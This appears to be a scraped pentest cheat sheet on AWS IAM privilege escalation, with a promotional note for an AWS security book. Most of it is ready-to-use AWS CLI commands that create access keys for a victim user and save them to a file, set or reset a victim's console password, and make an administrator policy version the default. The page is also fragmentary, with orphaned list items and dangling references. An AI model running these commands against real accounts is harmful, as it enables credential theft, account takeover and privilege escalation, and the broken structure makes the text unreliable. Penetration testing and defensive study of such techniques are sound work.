iam:UpdateAssumeRolePolicy + sts:AssumeRole: Updating the AssumeRolePolicyDocument of a role
iam:CreateAccessKey
An attacker with the iam:CreateAccessKey permission on other users can create an access key ID and secret access key belonging to another user in the AWS environment
aws iam create-access-key --user-name target_user
$ aws iam create-access-key --user-name [Victim-Username] --profile [profile-name] --output text | tee creds.txt
iam:CreateLoginProfile
An attacker with the iam:CreateLoginProfile permission on other users can create a password to use to login to the AWS console on any user that does not already have a login profile setup.
aws iam create-login-profile --user-name [victim-username] --password 'password' --no-password-reset-required --profile [profile]
arn:aws:iam::[Account_ID]:user/[Username]
You can now login as the victim into the AWS console
iam:UpdateLoginProfile
aws iam update-login-profile --user-name [victim-username] --password 'password' --no-password-reset-required --profile [profile]
iam:CreatePolicyVersion
Create a new version of an IAM policy that they have access to.
aws iam create-policy-version --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy --policy-document file://path/to/administrator/policy.json --set-as-default
An attacker with sufficient permissions could exploit IAM Roles Anywhere to gain persistent access to an AWS account
Interesting Book
Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
: Creating a new user access key
: Creating a new login profile
: Updating an existing login profile
: Attaching a policy to a user
: Attaching a policy to a group
: Attaching a policy to a role
: Creating/updating an inline policy for a user
: Creating/updating an inline policy for a group
: Creating/updating an inline policy for a role
: Adding a user to a group
: Passing a role to a new Lambda function, then invoking it
: Updating the code of an existing Lambda function
You can now login as the victim into the AWS console - See
Also try with AdministratorAccess - See
Find a role you can assume - See
This book delves deeper into analyzing the security of various AWS services and shows techniques and tactics used by an attacker to breach an AWS environment
Set up a virtual lab and pentest major AWS services, including EC2, S3, Lambda, and Cloud